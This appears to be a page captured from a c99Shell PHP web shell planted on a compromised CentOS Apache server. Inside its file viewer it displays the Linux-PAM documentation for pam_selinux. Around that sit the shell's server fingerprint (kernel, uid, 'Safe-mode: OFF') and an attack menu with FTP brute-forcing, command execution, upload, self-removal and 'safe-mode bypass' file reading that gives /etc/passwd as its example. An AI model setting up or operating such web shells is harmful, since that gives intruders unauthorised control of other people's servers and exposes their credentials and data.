!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/pam-0.99.6.2/html/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sag-pam_selinux.html (6.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
6.26. pam_selinux - set the default security context

6.26. pam_selinux - set the default security context

pam_selinux.so [ close ] [ debug ] [ open ] [ nottys ] [ verbose ] [ select_context ] [ use_current_range ]

6.26.1. DESCRIPTION

In a nutshell, pam_selinux sets up the default security context for the next execed shell.

When an application opens a session using pam_selinux, the shell that gets executed will be run in the default security context, or if the user chooses and the pam file allows the selected security context. Also the controlling tty will have it's security context modified to match the users.

Adding pam_selinux into a pam file could cause other pam modules to change their behavior if the exec another application. The close and open option help mitigate this problem. close option will only cause the close portion of the pam_selinux to execute, and open will only cause the open portion to run. You can add pam_selinux to the config file twice. Add the pam_selinux close as the executes the open pass through the modules, pam_selinux open_session will happen last. When PAM executes the close pass through the modules pam_selinux close_session will happen first.

6.26.2. OPTIONS

close

Only execute the close_session portion of the module.

debug

Turns on debugging via syslog(3).

open

Only execute the open_session portion of the module.

nottys

Do not try to setup the ttys security context.

verbose

attempt to inform the user when security context is set.

select_context

Attempt to ask the user for a custom security context role. If MLS is on ask also for sensitivity level.

use_current_range

Use the sensitivity range of the process for the user context. This option and the select_context option are mutually exclusive.

6.26.3. MODULE SERVICES PROVIDED

Only the session service is supported.

6.26.4. RETURN VALUES

PAM_AUTH_ERR

Unable to get or set a valid context.

PAM_SUCCESS

The security context was set successfull.

PAM_USER_UNKNOWN

The user is not known to the system.

6.26.5. EXAMPLES

auth     required  pam_unix.so
session  required  pam_permit.so    
session  optional  pam_selinux.so
    

6.26.6. AUTHOR

pam_selinux was written by Dan Walsh <dwalsh@redhat.com>.


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0096 ]--